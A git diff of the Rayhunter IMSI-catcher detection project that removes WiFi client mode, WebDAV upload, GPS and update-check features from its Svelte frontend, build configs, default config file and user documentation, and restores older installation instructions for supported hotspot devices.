class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
|
||||||
>
|
>
|
||||||
<span class="text-2xl font-bold mb-2 flex flex-row items-center gap-2 text-red-600">
|
<span class="text-2xl font-bold mb-2 flex flex-row items-center gap-2 text-red-600">
|
||||||
<svg
|
<svg
|
||||||
@@ -251,7 +197,7 @@
|
|||||||
</span>
|
</span>
|
||||||
<span
|
<span
|
||||||
>This webpage is not currently receiving updates from your Rayhunter device. This
|
>This webpage is not currently receiving updates from your Rayhunter device. This
|
||||||
could be due to loss of connection or some issue with your device.</span
|
could be do loss of connection or some issue with your device.</span
|
||||||
>
|
>
|
||||||
{#if update_error}
|
{#if update_error}
|
||||||
<details>
|
<details>
|
||||||
@@ -263,7 +209,6 @@
|
|||||||
{/if}
|
{/if}
|
||||||
<ActionErrors />
|
<ActionErrors />
|
||||||
<ClockDriftAlert />
|
<ClockDriftAlert />
|
||||||
<UpdateNotice status={update_status} />
|
|
||||||
{#if loaded}
|
{#if loaded}
|
||||||
<div class="flex flex-col lg:flex-row gap-4">
|
<div class="flex flex-col lg:flex-row gap-4">
|
||||||
{#if current_entry}
|
{#if current_entry}
|
||||||
@@ -275,7 +220,7 @@
|
|||||||
/>
|
/>
|
||||||
{:else}
|
{:else}
|
||||||
<div
|
<div
|
||||||
class="bg-red-100 border-red-100 drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
|
class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
|
||||||
>
|
>
|
||||||
<span
|
<span
|
||||||
class="text-2xl font-bold mb-2 flex flex-row items-center gap-2 text-red-600"
|
class="text-2xl font-bold mb-2 flex flex-row items-center gap-2 text-red-600"
|
||||||
@@ -305,7 +250,7 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
{/if}
|
{/if}
|
||||||
<SystemStatsTable stats={system_stats!} {gps_data} {gps_mode} />
|
<SystemStatsTable stats={system_stats!} />
|
||||||
</div>
|
</div>
|
||||||
<div class="flex flex-col gap-2">
|
<div class="flex flex-col gap-2">
|
||||||
<div class="flex flex-row gap-2">
|
<div class="flex flex-row gap-2">
|
||||||
@@ -321,13 +266,14 @@
|
|||||||
type="checkbox"
|
type="checkbox"
|
||||||
id="filter_threshold"
|
id="filter_threshold"
|
||||||
bind:checked={filter_threshold}
|
bind:checked={filter_threshold}
|
||||||
class="px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
|
class="px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<ManifestTable {entries} server_is_recording={!!current_entry} {manager} />
|
<ManifestTable {entries} server_is_recording={!!current_entry} {manager} />
|
||||||
</div>
|
</div>
|
||||||
<DeleteAllButton />
|
<DeleteAllButton />
|
||||||
|
<ConfigForm />
|
||||||
{:else}
|
{:else}
|
||||||
<div class="flex flex-col justify-center items-center">
|
<div class="flex flex-col justify-center items-center">
|
||||||
<!-- https://www.w3.org/WAI/tutorials/images/decorative/ -->
|
<!-- https://www.w3.org/WAI/tutorials/images/decorative/ -->
|
||||||
|
|||||||
@@ -0,0 +1,19 @@
|
|||||||
|
import type { Config } from 'tailwindcss';
|
||||||
|
import { breakpoints } from './src/theme';
|
||||||
|
|
||||||
|
export default {
|
||||||
|
content: ['./src/**/*.{html,js,svelte,ts}'],
|
||||||
|
|
||||||
|
theme: {
|
||||||
|
extend: {
|
||||||
|
colors: {
|
||||||
|
'rayhunter-blue': '#4e4eb1',
|
||||||
|
'rayhunter-dark-blue': '#3f3da0',
|
||||||
|
'rayhunter-green': '#94ea18',
|
||||||
|
},
|
||||||
|
screens: breakpoints,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
|
||||||
|
plugins: [],
|
||||||
|
} as Config;
|
||||||
@@ -1,6 +1,5 @@
|
|||||||
import { defineConfig } from 'vitest/config';
|
import { defineConfig } from 'vitest/config';
|
||||||
import { sveltekit } from '@sveltejs/kit/vite';
|
import { sveltekit } from '@sveltejs/kit/vite';
|
||||||
import tailwindcss from '@tailwindcss/vite';
|
|
||||||
|
|
||||||
export default defineConfig({
|
export default defineConfig({
|
||||||
server: {
|
server: {
|
||||||
@@ -27,7 +26,7 @@ export default defineConfig({
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
plugins: [tailwindcss(), sveltekit()],
|
plugins: [sveltekit()],
|
||||||
build: {
|
build: {
|
||||||
// Force everything into one HTML file. SvelteKit will still generate
|
// Force everything into one HTML file. SvelteKit will still generate
|
||||||
// a lot of JS files but they are deadweight and will not be included
|
// a lot of JS files but they are deadweight and will not be included
|
||||||
|
|||||||
Vendored
+2
-39
@@ -20,57 +20,20 @@ colorblind_mode = false
|
|||||||
ui_level = 1
|
ui_level = 1
|
||||||
|
|
||||||
# 0 = rayhunter does not read button presses
|
# 0 = rayhunter does not read button presses
|
||||||
# 1 = double-tapping the power button starts new recording
|
# 1 = double-tapping the power button starts/stops recordings
|
||||||
key_input_mode = 0
|
key_input_mode = 0
|
||||||
|
|
||||||
# If set, attempts to send a notification to the url when a new warning is triggered
|
# If set, attempts to send a notification to the url when a new warning is triggered
|
||||||
# ntfy_url = "https://ntfy.sh/your-topic"
|
ntfy_url = ""
|
||||||
# What notification types to enable. Does nothing if the above ntfy_url is not set.
|
# What notification types to enable. Does nothing if the above ntfy_url is not set.
|
||||||
enabled_notifications = ["Warning", "LowBattery"]
|
enabled_notifications = ["Warning", "LowBattery"]
|
||||||
|
|
||||||
# If true, Rayhunter will periodically check GitHub for new releases and show
|
|
||||||
# an update notice in the web UI.
|
|
||||||
auto_check_updates = false
|
|
||||||
|
|
||||||
# Disk Space Management
|
# Disk Space Management
|
||||||
# Minimum free space (MB) required to start recording
|
# Minimum free space (MB) required to start recording
|
||||||
min_space_to_start_recording_mb = 1
|
min_space_to_start_recording_mb = 1
|
||||||
# Minimum free space (MB) to continue recording (stops if below this)
|
# Minimum free space (MB) to continue recording (stops if below this)
|
||||||
min_space_to_continue_recording_mb = 1
|
min_space_to_continue_recording_mb = 1
|
||||||
|
|
||||||
# WiFi Client Mode
|
|
||||||
# Toggle wifi_enabled to connect the device to an existing WiFi network.
|
|
||||||
# Credentials are stored separately in wpa_sta.conf and managed via the web UI.
|
|
||||||
wifi_enabled = false
|
|
||||||
|
|
||||||
# DNS servers to use when WiFi client mode is active.
|
|
||||||
# Defaults to ["9.9.9.9", "149.112.112.112"] (Quad9) if not specified.
|
|
||||||
# dns_servers = ["9.9.9.9", "149.112.112.112"]
|
|
||||||
|
|
||||||
# WebDAV Upload
|
|
||||||
# If a [webdav] section is present, finished recordings (both the raw .qmdl file
|
|
||||||
# and its .ndjson analysis output) are uploaded in the background to a WebDAV
|
|
||||||
# server once they've been closed for at least min_age_secs. After a successful
|
|
||||||
# upload the entry is either marked as uploaded in the manifest, or deleted
|
|
||||||
# locally if delete_on_upload = true. With no [webdav] section, no upload
|
|
||||||
# worker runs.
|
|
||||||
#
|
|
||||||
# [webdav]
|
|
||||||
# url = "https://dav.example.com/rayhunter"
|
|
||||||
# # HTTP Basic auth. Both fields are optional; a password without a username is
|
|
||||||
# # rejected and the request is sent unauthenticated.
|
|
||||||
# username = "user"
|
|
||||||
# password = "pass"
|
|
||||||
# # Timeout in seconds for each upload request (default 300).
|
|
||||||
# upload_timeout_secs = 300
|
|
||||||
# # How often the worker scans for eligible entries (default 3600).
|
|
||||||
# poll_interval_secs = 3600
|
|
||||||
# # Minimum age in seconds before an entry becomes eligible for upload
|
|
||||||
# # (default 86400 = 1 day).
|
|
||||||
# min_age_secs = 86400
|
|
||||||
# # Delete the entry locally after a successful upload (default false).
|
|
||||||
# delete_on_upload = false
|
|
||||||
|
|
||||||
# Analyzer Configuration
|
# Analyzer Configuration
|
||||||
# Enable/disable specific IMSI catcher detection heuristics
|
# Enable/disable specific IMSI catcher detection heuristics
|
||||||
# See https://github.com/EFForg/rayhunter/blob/main/doc/heuristics.md for details
|
# See https://github.com/EFForg/rayhunter/blob/main/doc/heuristics.md for details
|
||||||
|
|||||||
+1
-3
@@ -1,6 +1,6 @@
|
|||||||
# Summary
|
# Summary
|
||||||
|
|
||||||
- [Introduction](./introduction.md)
|
[Introduction](./introduction.md)
|
||||||
- [Support, feedback, and community](./support-feedback-community.md)
|
- [Support, feedback, and community](./support-feedback-community.md)
|
||||||
- [Frequently Asked Questions](./faq.md)
|
- [Frequently Asked Questions](./faq.md)
|
||||||
- [Installation](./installation.md)
|
- [Installation](./installation.md)
|
||||||
@@ -14,7 +14,6 @@
|
|||||||
- [Re-analyzing recordings](./reanalyzing.md)
|
- [Re-analyzing recordings](./reanalyzing.md)
|
||||||
- [How we analyze a capture](./analyzing-a-capture.md)
|
- [How we analyze a capture](./analyzing-a-capture.md)
|
||||||
- [Supported devices](./supported-devices.md)
|
- [Supported devices](./supported-devices.md)
|
||||||
- [Porting to new devices](./porting.md)
|
|
||||||
- [Orbic/Kajeet RC400L](./orbic.md)
|
- [Orbic/Kajeet RC400L](./orbic.md)
|
||||||
- [TP-Link M7350](./tplink-m7350.md)
|
- [TP-Link M7350](./tplink-m7350.md)
|
||||||
- [TP-Link M7310](./tplink-m7310.md)
|
- [TP-Link M7310](./tplink-m7310.md)
|
||||||
@@ -23,4 +22,3 @@
|
|||||||
- [Wingtech CT2MHS01](./wingtech-ct2mhs01.md)
|
- [Wingtech CT2MHS01](./wingtech-ct2mhs01.md)
|
||||||
- [PinePhone and PinePhone Pro](./pinephone.md)
|
- [PinePhone and PinePhone Pro](./pinephone.md)
|
||||||
- [Moxee Hotspot](./moxee.md)
|
- [Moxee Hotspot](./moxee.md)
|
||||||
- [REST API Documentation](./api-docs.md)
|
|
||||||
|
|||||||
@@ -1,5 +0,0 @@
|
|||||||
# REST API Documentation
|
|
||||||
|
|
||||||
The rayhunter daemon has [REST API documentation](./api-docs/) available in the interactive swagger-ui.
|
|
||||||
|
|
||||||
>**Note:** API endpoints are subject to change as needs arise, though we will try to keep them as stable as possible and notify about breaking changes in the changelogs for new versions.
|
|
||||||
+1
-82
@@ -13,93 +13,12 @@ Through web UI you can set:
|
|||||||
- *High visibility (full screen color)*: fills the entire screen with the status color (green for recording, red for warnings, white for paused).
|
- *High visibility (full screen color)*: fills the entire screen with the status color (green for recording, red for warnings, white for paused).
|
||||||
- **Device Input Mode**, which defines behavior of built-in power button of the device. *Device Input Mode* could be:
|
- **Device Input Mode**, which defines behavior of built-in power button of the device. *Device Input Mode* could be:
|
||||||
- *Disable button control*: built-in power button of the device is not used by Rayhunter.
|
- *Disable button control*: built-in power button of the device is not used by Rayhunter.
|
||||||
- *Double-tap power button to start new recording*: double clicking on a built-in power button of the device stops and immediately restarts the recording. This could be useful if Rayhunter's heuristics is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button.
|
- *Double-tap power button to start/stop recording*: double clicking on a built-in power button of the device stops and immediately restarts the recording. This could be useful if Rayhunter's heuristics is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button.
|
||||||
- **Colorblind Mode** enables color blind mode (blue line is shown instead of green line, red line remains red). Please note that this does not cover all types of color blindness, but switching green to blue should be about enough to differentiate the color change for most types of color blindness.
|
- **Colorblind Mode** enables color blind mode (blue line is shown instead of green line, red line remains red). Please note that this does not cover all types of color blindness, but switching green to blue should be about enough to differentiate the color change for most types of color blindness.
|
||||||
- **Automatically check for software updates** enables periodic checks against the Rayhunter GitHub releases page. When a newer release is found, the web UI shows a notice and, if ntfy update notifications are enabled, a notification is sent.
|
|
||||||
- **ntfy URL**, which allows setting a [ntfy](https://ntfy.sh/) URL to which notifications of new detections will be sent. The topic should be unique to your device, e.g., `https://ntfy.sh/rayhunter_notifications_ba9di7ie` or `https://myserver.example.com/rayhunter_notifications_ba9di7ie`. The ntfy Android and iOS apps can then be used to receive notifications. More information can be found in the [ntfy docs](https://docs.ntfy.sh/).
|
- **ntfy URL**, which allows setting a [ntfy](https://ntfy.sh/) URL to which notifications of new detections will be sent. The topic should be unique to your device, e.g., `https://ntfy.sh/rayhunter_notifications_ba9di7ie` or `https://myserver.example.com/rayhunter_notifications_ba9di7ie`. The ntfy Android and iOS apps can then be used to receive notifications. More information can be found in the [ntfy docs](https://docs.ntfy.sh/).
|
||||||
- **Enabled Notification Types** allows enabling or disabling the following types of notifications:
|
- **Enabled Notification Types** allows enabling or disabling the following types of notifications:
|
||||||
- *Warnings*, which will alert when a heuristic is triggered. Alerts will be sent at most once every five minutes.
|
- *Warnings*, which will alert when a heuristic is triggered. Alerts will be sent at most once every five minutes.
|
||||||
- *Low Battery*, which will alert when the device's battery is low. Notifications may not be supported for all devices—you can check if your device is supported by looking at whether the battery level indicator is functioning on the System Information section of the Rayhunter UI.
|
- *Low Battery*, which will alert when the device's battery is low. Notifications may not be supported for all devices—you can check if your device is supported by looking at whether the battery level indicator is functioning on the System Information section of the Rayhunter UI.
|
||||||
- *Software Updates*, which will alert when a new Rayhunter release is available. Only triggers when *Automatically check for software updates* is enabled.
|
|
||||||
- With **Analyzer Heuristic Settings** you can switch on or off built-in [Rayhunter heuristics](heuristics.md). Some heuristics are experimental or can trigger a lot of false positive warnings in some networks (our tests have shown that some heuristics have different behavior in US or European networks). In that case you can decide whether you would like to have the heuristics that trigger a lot of false positives on or off. Please note that we are constantly improving and adding new heuristics, so a new release may reduce false positives in existing heuristics as well.
|
- With **Analyzer Heuristic Settings** you can switch on or off built-in [Rayhunter heuristics](heuristics.md). Some heuristics are experimental or can trigger a lot of false positive warnings in some networks (our tests have shown that some heuristics have different behavior in US or European networks). In that case you can decide whether you would like to have the heuristics that trigger a lot of false positives on or off. Please note that we are constantly improving and adding new heuristics, so a new release may reduce false positives in existing heuristics as well.
|
||||||
|
|
||||||
## GPS
|
|
||||||
|
|
||||||
The **GPS Settings** allows you to attach GPS-based location history to every recording. Data is stored as a separate JSON file next to QMDL, and also inlined into the PCAP file as packet comment.
|
|
||||||
|
|
||||||
The modes are:
|
|
||||||
|
|
||||||
- *Disabled*, the default option, disables this feature entirely.
|
|
||||||
|
|
||||||
- *Fixed*, for hardcoding latitude (-90 to 90) and longitude (-180 to 180) for devices that don't move very often or at all. Every packet in the recording will have that location.
|
|
||||||
|
|
||||||
- *API Endpoint*, enables the `POST /api/gps` endpoint so that third-party tools (i.e. your own scripts) can update location info continuously. Please refer to the [API documentation](api-docs.md) for more info.
|
|
||||||
|
|
||||||
The GPS data is stored as a separate JSON file next to QMDL captures, and contains its own timestamps. These timestamps are meant to be compared during analysis with the packet timestamp so we know the time difference between the packet capture from the GPS capture, if there is any, since GPS data and packet data may come from two entirely separate devices.
|
|
||||||
|
|
||||||
## WiFi Client Mode
|
|
||||||
|
|
||||||
On the **Orbic**, **Moxee**, **UZ801**, **TMOHS1**, and **Wingtech**, Rayhunter can connect the device to an existing WiFi network while keeping the hotspot running. This gives the device internet access for [notifications](https://docs.ntfy.sh/) and lets you reach the web UI from any device on that network.
|
|
||||||
|
|
||||||
- **Enable WiFi** turns WiFi client mode on or off. Disabling it does not erase saved credentials.
|
|
||||||
- **Scan** searches for nearby networks. Select one from the dropdown, or type an SSID manually.
|
|
||||||
- **Password** is required for WPA/WPA2 networks. The password is stored separately from `config.toml` (in `wpa_sta.conf` on the device) and is never exposed through the API.
|
|
||||||
- **DNS Servers** lets you override the DNS servers used when connected. Defaults to `9.9.9.9` and `149.112.112.112` (Quad9) if not set.
|
|
||||||
|
|
||||||
After saving, the connection status will show **connecting**, **connected** (with the assigned IP address), or **failed** (with an error message). If the connection fails, check that the SSID and password are correct and that the network is in range.
|
|
||||||
|
|
||||||
### Crash Recovery
|
|
||||||
|
|
||||||
The WiFi kernel module (`wlan.ko`) can occasionally crash or unload, taking both the hotspot and client interfaces down with it. Rayhunter includes a watchdog that detects this and automatically reloads the module, restarts the hotspot, and reconnects to the configured network. During recovery the WiFi status will show **recovering**.
|
|
||||||
|
|
||||||
On the first detection of a crash, a diagnostic snapshot is saved to `/data/rayhunter/crash-logs/` on the device. You can pull these logs with `adb pull /data/rayhunter/crash-logs/` and inspect them to understand what went wrong. Each log contains:
|
|
||||||
|
|
||||||
- **dmesg** output (kernel messages). Look for backtraces, `BUG:`/`Oops:` lines, or `wlan`/`wcnss` errors. The kernel ring buffer is small and gets overwritten quickly, so crash details may already be gone if the crash happened well before detection.
|
|
||||||
- **/proc/modules** snapshot. If `wlan` is absent, the module fully unloaded. If present but interfaces are gone, the driver is stuck.
|
|
||||||
- **ip addr** output confirming which network interfaces existed at snapshot time.
|
|
||||||
- **ps** output showing which WiFi-related processes (`hostapd`, `wpa_supplicant`, `wland`) were still running.
|
|
||||||
|
|
||||||
If recovery fails after 5 attempts, the status will change to **failed**. A reboot of the device will reset WiFi.
|
|
||||||
|
|
||||||
You can also configure WiFi during installation:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
./installer orbic --admin-password 'mypassword' --wifi-ssid 'MyNetwork' --wifi-password 'networkpass'
|
|
||||||
```
|
|
||||||
|
|
||||||
## WebDAV Upload
|
|
||||||
|
|
||||||
Rayhunter can automatically upload finished recordings to a WebDAV server. When a `[webdav]` section is present in `config.toml`, a background worker periodically scans the recording store and uploads any closed entry that is older than `min_age_secs`. Each eligible entry uploads two files: the raw `.qmdl` capture and its `.ndjson` analysis output. After a successful upload the entry is either marked as uploaded in the manifest (and skipped on subsequent polls), or deleted locally if `delete_on_upload = true`. With no `[webdav]` section, no upload worker runs.
|
|
||||||
|
|
||||||
WebDAV upload is currently configurable only by editing `config.toml` — there is no web UI control for it yet.
|
|
||||||
|
|
||||||
| Key | Required | Default | Description |
|
|
||||||
| --- | --- | --- | --- |
|
|
||||||
| `url` | yes | — | WebDAV server base URL, e.g. `https://example.com/remote.php/files/user/rayhunter/` |
|
|
||||||
| `username` | no | — | HTTP Basic auth username |
|
|
||||||
| `password` | no | — | HTTP Basic auth password |
|
|
||||||
| `upload_timeout_secs` | no | `300` | Timeout (seconds) for each upload request |
|
|
||||||
| `poll_interval_secs` | no | `3600` | How often (seconds) the worker scans for eligible entries |
|
|
||||||
| `min_age_secs` | no | `86400` | Minimum age (seconds) an entry must have before it becomes eligible for upload |
|
|
||||||
| `delete_on_upload` | no | `false` | Delete the entry locally after a successful upload |
|
|
||||||
|
|
||||||
Example:
|
|
||||||
|
|
||||||
```toml
|
|
||||||
[webdav]
|
|
||||||
url = "https://dav.example.com/rayhunter/"
|
|
||||||
username = "user"
|
|
||||||
password = "pass"
|
|
||||||
upload_timeout_secs = 300
|
|
||||||
poll_interval_secs = 3600
|
|
||||||
min_age_secs = 86400
|
|
||||||
delete_on_upload = false
|
|
||||||
```
|
|
||||||
|
|
||||||
A few notes on behavior:
|
|
||||||
|
|
||||||
- **Auth:** HTTP Basic. Supplying a `password` without a `username` is rejected — the request is sent unauthenticated and a warning is logged.
|
|
||||||
- **Retries and overwrites:** each entry's two files (`.qmdl` and `.ndjson`) must both upload successfully before the entry is marked as uploaded in the manifest. If one upload fails, the entry stays unmarked and both files are retried on the next poll — the one that previously succeeded will be overwritten on the server. Once an entry is marked as uploaded, Rayhunter will not upload it again.
|
|
||||||
- **Currently-recording entry:** the active recording is never uploaded; only closed entries are eligible.
|
|
||||||
|
|
||||||
If you prefer editing `config.toml` file, you need to obtain a shell on your [Orbic](./orbic.md#obtaining-a-shell) or [TP-Link](./tplink-m7350.md#obtaining-a-shell) device and edit the file manually. You can view the [default configuration file on GitHub](https://github.com/EFForg/rayhunter/blob/main/dist/config.toml.in).
|
If you prefer editing `config.toml` file, you need to obtain a shell on your [Orbic](./orbic.md#obtaining-a-shell) or [TP-Link](./tplink-m7350.md#obtaining-a-shell) device and edit the file manually. You can view the [default configuration file on GitHub](https://github.com/EFForg/rayhunter/blob/main/dist/config.toml.in).
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 39 KiB |
-14
@@ -22,12 +22,6 @@ Please note that this file may contain sensitive information such as your IMSI a
|
|||||||
|
|
||||||
If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear which devices are locked nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices. So far most verizon branded orbic devices we have encountered are actually unlocked.
|
If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear which devices are locked nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices. So far most verizon branded orbic devices we have encountered are actually unlocked.
|
||||||
|
|
||||||
### I can't reach my Rayhunter's web UI after leaving it alone for a while
|
|
||||||
|
|
||||||
Some hotspots (notably the T-Mobile TMOHS1 and Wingtech CT2MHS01) shut down their Wi-Fi access point after about 10 minutes with no connected clients to save battery. Rayhunter is still recording in the background, but you won't be able to reach the web UI until you power cycle the device or reconnect a client while Wi-Fi is still up.
|
|
||||||
|
|
||||||
To avoid this, set Wi-Fi Standby to "Always on" in the hotspot's native admin UI. See [TMOHS1](./tmobile-tmohs1.md#wi-fi-auto-shutdown) or [CT2MHS01](./wingtech-ct2mhs01.md#wi-fi-auto-shutdown) for step-by-step instructions.
|
|
||||||
|
|
||||||
### How do I re-enable USB tethering after installing Rayhunter?
|
### How do I re-enable USB tethering after installing Rayhunter?
|
||||||
|
|
||||||
If you have installed with `./installer orbic-usb`, you might find that USB
|
If you have installed with `./installer orbic-usb`, you might find that USB
|
||||||
@@ -56,14 +50,6 @@ reboot
|
|||||||
See `/data/usb/boot_hsusb_composition` for a list of USB modes and Android USB gadget settings.
|
See `/data/usb/boot_hsusb_composition` for a list of USB modes and Android USB gadget settings.
|
||||||
|
|
||||||
|
|
||||||
### How do I connect my device to an existing WiFi network?
|
|
||||||
|
|
||||||
The Orbic, Moxee, UZ801, and TMOHS1 can connect to a nearby WiFi network while still running their own hotspot. This gives the device internet access for ntfy notifications and lets you reach the web UI from your home network. See [WiFi Client Mode](./configuration.md#wifi-client-mode) in the configuration guide for setup instructions.
|
|
||||||
|
|
||||||
### WiFi client mode is connected but I can't reach the internet
|
|
||||||
|
|
||||||
Check that the **DNS Servers** field in the config has valid entries (the default is `9.9.9.9` and `149.112.112.112`). If your home network and the device hotspot use the same subnet (for example, both are on `192.168.1.x`), try restarting the daemon by saving the config again from the web UI.
|
|
||||||
|
|
||||||
### How do I disable the WiFi hotspot on the Orbic RC400L?
|
### How do I disable the WiFi hotspot on the Orbic RC400L?
|
||||||
|
|
||||||
To disable both WiFi bands, [first obtain a shell](./orbic.md#shell), then:
|
To disable both WiFi bands, [first obtain a shell](./orbic.md#shell), then:
|
||||||
|
|||||||
@@ -41,21 +41,27 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
|
|||||||
```bash
|
```bash
|
||||||
# For Orbic:
|
# For Orbic:
|
||||||
./installer orbic --admin-password 'mypassword'
|
./installer orbic --admin-password 'mypassword'
|
||||||
|
|
||||||
# Note: the arguments --admin-username 'myusername' and --admin-ip 'mydeviceip'
|
# Note: the arguments --admin-username 'myusername' and --admin-ip 'mydeviceip'
|
||||||
# may be required if different from the default.
|
# may be required if different from the default.
|
||||||
|
|
||||||
|
# Or install over USB if you want ADB and a root shell (not recommended for most users)
|
||||||
|
./installer orbic-usb
|
||||||
|
|
||||||
# For TP-Link:
|
# For TP-Link:
|
||||||
./installer tplink
|
./installer tplink
|
||||||
```
|
```
|
||||||
|
|
||||||
* On Verizon Orbic, the default password is the WiFi password. You can reset the password by pressing the button under the back case until the unit restarts.
|
* On Verizon Orbic, the password is the one used to login to the device's admin menu, and the default is the WiFi password.
|
||||||
* ***Note:*** If you have changed the device username, password, or IP address from their default values, these must be provided as arguments to the installer command above.
|
* ***Note:*** If you have changed the device username, password, or IP address from their default values, these must be provided as arguments to the installer command above.
|
||||||
* TP-Link does not require an `--admin-password` parameter.
|
* On Kajeet/Smartspot devices, the default password is `$m@rt$p0tc0nf!g`
|
||||||
|
* On Moxee-brand devices, check under the battery for the password.
|
||||||
|
* You can reset the password by pressing the button under the back case until the unit restarts.
|
||||||
|
|
||||||
|
TP-Link does not require an `--admin-password` parameter.
|
||||||
|
|
||||||
For other devices, check `./installer --help` or the
|
For other devices, check `./installer --help` or the
|
||||||
respective page in the sidebar under "Supported
|
respective page in the sidebar under "Supported
|
||||||
Devices" for the installation command.
|
Devices."
|
||||||
|
|
||||||
7. The installer will eventually tell you it's done, and the device will reboot.
|
7. The installer will eventually tell you it's done, and the device will reboot.
|
||||||
|
|
||||||
|
|||||||
@@ -27,25 +27,6 @@ Then you can build everything with:
|
|||||||
./scripts/install-dev.sh orbic # replace 'orbic' with your device type
|
./scripts/install-dev.sh orbic # replace 'orbic' with your device type
|
||||||
```
|
```
|
||||||
|
|
||||||
## Running the daemon on your PC
|
|
||||||
|
|
||||||
If you don't have a target device handy, you can run `rayhunter-daemon` on your
|
|
||||||
PC with `debug_mode = true`. This skips DIAG, the device display, key input,
|
|
||||||
the battery worker, and the WiFi client, so recording-related endpoints will
|
|
||||||
not work, but the frontend and read-only APIs do.
|
|
||||||
|
|
||||||
```sh
|
|
||||||
mkdir -p ./qmdl && printf 'entries = []\n' > ./qmdl/manifest.toml
|
|
||||||
cat > config.toml <<'EOF'
|
|
||||||
qmdl_store_path = "./qmdl"
|
|
||||||
port = 8080
|
|
||||||
debug_mode = true
|
|
||||||
EOF
|
|
||||||
cargo run -p rayhunter-daemon -- ./config.toml
|
|
||||||
```
|
|
||||||
|
|
||||||
Open `http://127.0.0.1:8080`.
|
|
||||||
|
|
||||||
## Hot-reloading the frontend
|
## Hot-reloading the frontend
|
||||||
|
|
||||||
If you are working on the frontend, you normally have to repeat all of the above steps everytime to see a change.
|
If you are working on the frontend, you normally have to repeat all of the above steps everytime to see a change.
|
||||||
@@ -95,19 +76,3 @@ Note though that we can't assist with any issues setting ADB up, _especially
|
|||||||
not_ on Windows. There have been too many driver issues to make this the
|
not_ on Windows. There have been too many driver issues to make this the
|
||||||
"golden path" for most users or contributors. There have been instances where
|
"golden path" for most users or contributors. There have been instances where
|
||||||
people managed to brick their orbic devices using ADB on Windows.
|
people managed to brick their orbic devices using ADB on Windows.
|
||||||
|
|
||||||
## Troubleshooting
|
|
||||||
|
|
||||||
You may need to turn off your VPN in order to load the frontend succesfully - even with local network sharing enabled, VPNs can interfere with the connection to the backend.
|
|
||||||
|
|
||||||
Specifically for WSL users:
|
|
||||||
|
|
||||||
- The HyperV firewall also tends to interfere with the connection between frontend and backend. You can turn it off in your WSL settings.
|
|
||||||
|
|
||||||
- WSL2 has a known compatibility issue which may prevent vite from detecting file system changes and therefore affects HMR (hot module replacement).
|
|
||||||
If your hot reloading does not work, some have success using polling to detect changes. To do so, specify the following setting in vite.config.ts:
|
|
||||||
```ts
|
|
||||||
server: {
|
|
||||||
watch: { usePolling: true }
|
|
||||||
}
|
|
||||||
```
|
|
||||||
+15
-19
@@ -5,7 +5,15 @@ Supported in Rayhunter since version 0.6.0.
|
|||||||
The Moxee Hotspot is a device very similar to the Orbic RC400L. It seems to be
|
The Moxee Hotspot is a device very similar to the Orbic RC400L. It seems to be
|
||||||
primarily for the US market.
|
primarily for the US market.
|
||||||
|
|
||||||
**These devices have relatively little storage. The Orbic is usually a better alternative, though might be more expensive.**
|
<div class="warning-box">
|
||||||
|
|
||||||
|
**WARNING: These devices are known to become completely bricked by installing Rayhunter.**
|
||||||
|
|
||||||
|
Do not buy this device nor try to install _nor upgrade_ Rayhunter on it.
|
||||||
|
|
||||||
|
We're still trying to figure out what's wrong in [this discussion](https://github.com/EFForg/rayhunter/issues/865).
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
- [KonnectONE product page](https://www.konnectone.com/specs-hotspot)
|
- [KonnectONE product page](https://www.konnectone.com/specs-hotspot)
|
||||||
- [Moxee product page](https://www.moxee.com/hotspot)
|
- [Moxee product page](https://www.moxee.com/hotspot)
|
||||||
@@ -27,30 +35,18 @@ According to [FCC ID 2APQU-K779HSDL](https://fcc.report/FCC-ID/2APQU-K779HSDL),
|
|||||||
| 66 | 1700/2100 MHz (E-AWS) |
|
| 66 | 1700/2100 MHz (E-AWS) |
|
||||||
| 71 | 600 MHz |
|
| 71 | 600 MHz |
|
||||||
|
|
||||||
## Installing
|
## Installation
|
||||||
|
|
||||||
To get started, follow the [release installation guide](./installing-from-release.md). Then run the installer with the following command:
|
Connect to the hotspot's network using WiFi or USB tethering and run:
|
||||||
|
|
||||||
```bash
|
```sh
|
||||||
./installer moxee --admin-password 'mypassword'
|
./installer orbic --admin-password 'mypassword'
|
||||||
|
|
||||||
# Note: the arguments --admin-username 'myusername' and --admin-ip 'mydeviceip'
|
|
||||||
# may be required if different from the default.
|
|
||||||
```
|
```
|
||||||
|
|
||||||
* The password is the one used to log in to the device's admin menu. You can reset the password by pressing the button under the back case until the unit restarts.
|
The password (in place of `mypassword`) is under the battery.
|
||||||
* ***Note:*** If you have changed the device username, password, or IP address from their default values, these must be provided as arguments to the installer command above.
|
|
||||||
* On Moxee-brand devices, check under the battery for the password.
|
|
||||||
* `./installer moxee` is almost the same as `./installer orbic`, it just comes with slightly better defaults that will give you more space for recordings.
|
|
||||||
|
|
||||||
The Rayhunter UI will be available at <http://192.168.1.1:8080>.
|
|
||||||
|
|
||||||
<a name=shell></a>
|
|
||||||
## Obtaining a shell
|
## Obtaining a shell
|
||||||
|
|
||||||
After running the installer, there will not be a root shell and ADB will not be
|
```sh
|
||||||
enabled. Instead, you can use:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
./installer util orbic-shell
|
